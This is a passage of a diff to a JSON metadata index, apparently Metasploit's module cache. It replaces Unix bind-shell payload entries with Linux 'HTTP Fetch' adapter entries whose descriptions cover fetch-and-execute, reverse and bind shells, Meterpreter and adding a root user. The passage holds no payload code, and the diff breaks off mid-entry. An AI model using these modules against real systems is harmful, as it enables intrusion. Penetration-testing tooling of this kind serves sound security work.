- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/meterpreter_reverse_http",
+ "staged": false
},
- "payload_cmd/unix/bind_lua": {
- "name": "Unix Command Shell, Bind TCP (via Lua)",
- "fullname": "payload/cmd/unix/bind_lua",
+ "payload_cmd/linux/http/x64/meterpreter_reverse_https": {
+ "name": "HTTP Fetch",
+ "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_https",
"aliases": [
],
@@ -176731,33 +178222,40 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "xistence "
+ "Brendan Watters",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Listen for a connection and spawn a command shell via Lua",
+ "description": "Fetch and execute an x64 payload from an HTTP server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_lua.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_lua",
+ "ref_name": "cmd/linux/http/x64/meterpreter_reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/meterpreter_reverse_https",
+ "staged": false
},
- "payload_cmd/unix/bind_netcat": {
- "name": "Unix Command Shell, Bind TCP (via netcat)",
- "fullname": "payload/cmd/unix/bind_netcat",
+ "payload_cmd/linux/http/x64/meterpreter_reverse_tcp": {
+ "name": "HTTP Fetch",
+ "fullname": "payload/cmd/linux/http/x64/meterpreter_reverse_tcp",
"aliases": [
],
@@ -176765,35 +178263,40 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "m-1-k-3",
- "egypt ",
- "juan vazquez "
+ "Brendan Watters",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Listen for a connection and spawn a command shell via netcat",
+ "description": "Fetch and execute an x64 payload from an HTTP server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_netcat",
+ "ref_name": "cmd/linux/http/x64/meterpreter_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/meterpreter_reverse_tcp",
+ "staged": false
},
- "payload_cmd/unix/bind_netcat_gaping": {
- "name": "Unix Command Shell, Bind TCP (via netcat -e)",
- "fullname": "payload/cmd/unix/bind_netcat_gaping",
+ "payload_cmd/linux/http/x64/pingback_bind_tcp": {
+ "name": "HTTP Fetch, Linux x64 Pingback, Bind TCP Inline",
+ "fullname": "payload/cmd/linux/http/x64/pingback_bind_tcp",
"aliases": [
],
@@ -176801,33 +178304,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "bwatters-r7"
],
- "description": "Listen for a connection and spawn a command shell via netcat",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nAccept a connection from attacker and report UUID (Linux x64)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_netcat_gaping",
+ "ref_name": "cmd/linux/http/x64/pingback_bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/pingback_bind_tcp",
+ "staged": false
},
- "payload_cmd/unix/bind_netcat_gaping_ipv6": {
- "name": "Unix Command Shell, Bind TCP (via netcat -e) IPv6",
- "fullname": "payload/cmd/unix/bind_netcat_gaping_ipv6",
+ "payload_cmd/linux/http/x64/pingback_reverse_tcp": {
+ "name": "HTTP Fetch, Linux x64 Pingback, Reverse TCP Inline",
+ "fullname": "payload/cmd/linux/http/x64/pingback_reverse_tcp",
"aliases": [
],
@@ -176835,33 +178343,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "bwatters-r7"
],
- "description": "Listen for a connection and spawn a command shell via netcat",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and report UUID (Linux x64)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_netcat_gaping_ipv6",
+ "ref_name": "cmd/linux/http/x64/pingback_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/pingback_reverse_tcp",
+ "staged": false
},
- "payload_cmd/unix/bind_nodejs": {
- "name": "Unix Command Shell, Bind TCP (via nodejs)",
- "fullname": "payload/cmd/unix/bind_nodejs",
+ "payload_cmd/linux/http/x64/shell/bind_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager",
+ "fullname": "payload/cmd/linux/http/x64/shell/bind_tcp",
"aliases": [
],
@@ -176869,33 +178382,40 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "joev "
+ "Brendan Watters",
+ "ricky"
],
- "description": "Continually listen for a connection and spawn a command shell via nodejs",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_nodejs.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_nodejs",
+ "ref_name": "cmd/linux/http/x64/shell/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/shell/bind_tcp",
+ "staged": true,
+ "stage_refname": "linux/x64/shell",
+ "stager_refname": "linux/x64/bind_tcp"
},
- "payload_cmd/unix/bind_perl": {
- "name": "Unix Command Shell, Bind TCP (via Perl)",
- "fullname": "payload/cmd/unix/bind_perl",
+ "payload_cmd/linux/http/x64/shell/reverse_sctp": {
+ "name": "HTTP Fetch, Linux Command Shell, Reverse SCTP Stager",
+ "fullname": "payload/cmd/linux/http/x64/shell/reverse_sctp",
"aliases": [
],
@@ -176903,34 +178423,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Samy ",
- "cazz "
+ "Brendan Watters",
+ "ricky",
+ "RageLtMan "
],
- "description": "Listen for a connection and spawn a command shell via perl",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_perl.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_perl",
+ "ref_name": "cmd/linux/http/x64/shell/reverse_sctp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/shell/reverse_sctp",
+ "staged": true,
+ "stage_refname": "linux/x64/shell",
+ "stager_refname": "linux/x64/reverse_sctp"
},
- "payload_cmd/unix/bind_perl_ipv6": {
- "name": "Unix Command Shell, Bind TCP (via perl) IPv6",
- "fullname": "payload/cmd/unix/bind_perl_ipv6",
+ "payload_cmd/linux/http/x64/shell/reverse_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/http/x64/shell/reverse_tcp",
"aliases": [
],
@@ -176938,34 +178465,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Samy ",
- "cazz "
+ "Brendan Watters",
+ "ricky",
+ "tkmru"
],
- "description": "Listen for a connection and spawn a command shell via perl",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_perl_ipv6",
+ "ref_name": "cmd/linux/http/x64/shell/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/shell/reverse_tcp",
+ "staged": true,
+ "stage_refname": "linux/x64/shell",
+ "stager_refname": "linux/x64/reverse_tcp"
},
- "payload_cmd/unix/bind_r": {
- "name": "Unix Command Shell, Bind TCP (via R)",
- "fullname": "payload/cmd/unix/bind_r",
+ "payload_cmd/linux/http/x64/shell_bind_ipv6_tcp": {
+ "name": "HTTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)",
+ "fullname": "payload/cmd/linux/http/x64/shell_bind_ipv6_tcp",
"aliases": [
],
@@ -176973,33 +178507,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "epi "
],
- "description": "Continually listen for a connection and spawn a command shell via R",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for an IPv6 connection and spawn a command shell",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_r.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_r",
+ "ref_name": "cmd/linux/http/x64/shell_bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/shell_bind_ipv6_tcp",
+ "staged": false
},
- "payload_cmd/unix/bind_ruby": {
- "name": "Unix Command Shell, Bind TCP (via Ruby)",
- "fullname": "payload/cmd/unix/bind_ruby",
+ "payload_cmd/linux/http/x64/shell_bind_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline",
+ "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp",
"aliases": [
],
@@ -177007,33 +178546,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "kris katterjohn "
+ "Brendan Watters",
+ "ricky"
],
- "description": "Continually listen for a connection and spawn a command shell via Ruby",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection and spawn a command shell",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_ruby.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_ruby",
+ "ref_name": "cmd/linux/http/x64/shell_bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/shell_bind_tcp",
+ "staged": false
},
- "payload_cmd/unix/bind_ruby_ipv6": {
- "name": "Unix Command Shell, Bind TCP (via Ruby) IPv6",
- "fullname": "payload/cmd/unix/bind_ruby_ipv6",
+ "payload_cmd/linux/http/x64/shell_bind_tcp_random_port": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline",
+ "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp_random_port",
"aliases": [
],
@@ -177041,33 +178585,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "kris katterjohn "
+ "Brendan Watters",
+ "Geyslan G. Bem "
],
- "description": "Continually listen for a connection and spawn a command shell via Ruby",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_ruby_ipv6",
+ "ref_name": "cmd/linux/http/x64/shell_bind_tcp_random_port",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/shell_bind_tcp_random_port",
+ "staged": false
},
- "payload_cmd/unix/bind_socat_sctp": {
- "name": "Unix Command Shell, Bind SCTP (via socat)",
- "fullname": "payload/cmd/unix/bind_socat_sctp",
+ "payload_cmd/linux/http/x64/shell_find_port": {
+ "name": "HTTP Fetch, Linux Command Shell, Find Port Inline",
+ "fullname": "payload/cmd/linux/http/x64/shell_find_port",
"aliases": [
],
@@ -177075,33 +178624,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "mak"
],
- "description": "Creates an interactive shell via socat",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a shell on an established connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2023-04-27 16:21:34 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_socat_sctp.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_socat_sctp",
+ "ref_name": "cmd/linux/http/x64/shell_find_port",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/shell_find_port",
+ "staged": false
},
- "payload_cmd/unix/bind_socat_udp": {
- "name": "Unix Command Shell, Bind UDP (via socat)",
- "fullname": "payload/cmd/unix/bind_socat_udp",
+ "payload_cmd/linux/http/x64/shell_reverse_ipv6_tcp": {
+ "name": "HTTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)",
+ "fullname": "payload/cmd/linux/http/x64/shell_reverse_ipv6_tcp",
"aliases": [
],
@@ -177109,33 +178663,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "epi "
],
- "description": "Creates an interactive shell via socat",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_socat_udp.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_socat_udp",
+ "ref_name": "cmd/linux/http/x64/shell_reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/shell_reverse_ipv6_tcp",
+ "staged": false
},
- "payload_cmd/unix/bind_stub": {
- "name": "Unix Command Shell, Bind TCP (stub)",
- "fullname": "payload/cmd/unix/bind_stub",
+ "payload_cmd/linux/http/x64/shell_reverse_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline",
+ "fullname": "payload/cmd/linux/http/x64/shell_reverse_tcp",
"aliases": [
],
@@ -177143,33 +178702,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "ricky"
],
- "description": "Listen for a connection and spawn a command shell (stub only, no payload)",
+ "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_stub.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_stub",
+ "ref_name": "cmd/linux/http/x64/shell_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x64",
+ "adapted_refname": "linux/x64/shell_reverse_tcp",
+ "staged": false
},
- "payload_cmd/unix/bind_zsh": {
- "name": "Unix Command Shell, Bind TCP (via Zsh)",
- "fullname": "payload/cmd/unix/bind_zsh",
+ "payload_cmd/linux/http/x86/adduser": {
+ "name": "HTTP Fetch, Linux Add User",
+ "fullname": "payload/cmd/linux/http/x86/adduser",
"aliases": [
],
@@ -177177,34 +178741,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Doug Prostko ",
- "Wang Yihang "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape ",
+ "vlad902 ",
+ "spoonm "
],
- "description": "Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is\n often available, please be aware it isn't usually installed by default.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nCreate a new user with UID 0",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/bind_zsh.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/bind_zsh",
+ "ref_name": "cmd/linux/http/x86/adduser",
"check": false,
- "post_auth": false,
+ "post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/adduser",
+ "staged": false
},
- "payload_cmd/unix/generic": {
- "name": "Unix Command, Generic Command Execution",
- "fullname": "payload/cmd/unix/generic",
+ "payload_cmd/linux/http/x86/chmod": {
+ "name": "HTTP Fetch, Linux Chmod",
+ "fullname": "payload/cmd/linux/http/x86/chmod",
"aliases": [
],
@@ -177212,33 +178783,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "kris katterjohn "
],
- "description": "Executes the supplied command",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nRuns chmod on specified file with specified mode",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/unix/generic.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/generic",
+ "ref_name": "cmd/linux/http/x86/chmod",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/chmod",
+ "staged": false
},
- "payload_cmd/unix/interact": {
- "name": "Unix Command, Interact with Established Connection",
- "fullname": "payload/cmd/unix/interact",
+ "payload_cmd/linux/http/x86/exec": {
+ "name": "HTTP Fetch, Linux Execute Command",
+ "fullname": "payload/cmd/linux/http/x86/exec",
"aliases": [
],
@@ -177246,33 +178823,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "vlad902 ",
+ "Geyslan G. Bem "
],
- "description": "Interacts with a shell on an established socket connection",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell",
"references": [
-
+ "URL-https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm",
+ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm"
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
- "path": "/modules/payloads/singles/cmd/unix/interact.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/interact",
+ "ref_name": "cmd/linux/http/x86/exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/exec",
+ "staged": false
},
- "payload_cmd/unix/pingback_bind": {
- "name": "Unix Command Shell, Pingback Bind TCP (via netcat)",
- "fullname": "payload/cmd/unix/pingback_bind",
+ "payload_cmd/linux/http/x86/generic/debug_trap": {
+ "name": "HTTP Fetch, Generic x86 Debug Trap",
+ "fullname": "payload/cmd/linux/http/x86/generic/debug_trap",
"aliases": [
],
@@ -177280,33 +178865,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "asoto-r7"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "robert "
],
- "description": "Accept a connection, send a UUID, then exit",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a debug trap in the target process",
"references": [
],
- "platform": "Unix",
+ "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/pingback_bind.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/pingback_bind",
+ "ref_name": "cmd/linux/http/x86/generic/debug_trap",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "generic/debug_trap",
+ "staged": false
},
- "payload_cmd/unix/pingback_reverse": {
- "name": "Unix Command Shell, Pingback Reverse TCP (via netcat)",
- "fullname": "payload/cmd/unix/pingback_reverse",
+ "payload_cmd/linux/http/x86/generic/tight_loop": {
+ "name": "HTTP Fetch, Generic x86 Tight Loop",
+ "fullname": "payload/cmd/linux/http/x86/generic/tight_loop",
"aliases": [
],
@@ -177314,33 +178905,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "asoto-r7"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "jduck "
],
- "description": "Creates a socket, send a UUID, then exit",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a tight loop in the target process",
"references": [
],
- "platform": "Unix",
+ "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/pingback_reverse.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/pingback_reverse",
+ "ref_name": "cmd/linux/http/x86/generic/tight_loop",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "generic/tight_loop",
+ "staged": false
},
- "payload_cmd/unix/python/meterpreter/bind_tcp": {
- "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager",
- "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp",
+ "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp": {
+ "name": "HTTP Fetch, Bind IPv6 TCP Stager (Linux x86)",
+ "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp",
"aliases": [
],
@@ -177348,33 +178945,43 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Spencer McIntyre"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "William Webb ",
+ "kris katterjohn ",
+ "egypt "
],
- "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection (Linux x86)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/adapters/cmd/unix/python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/python/meterpreter/bind_tcp",
+ "ref_name": "cmd/linux/http/x86/meterpreter/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_ipv6_tcp"
},
- "payload_cmd/unix/python/meterpreter/bind_tcp_uuid": {
- "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support",
- "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp_uuid",
+ "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid": {
+ "name": "HTTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)",
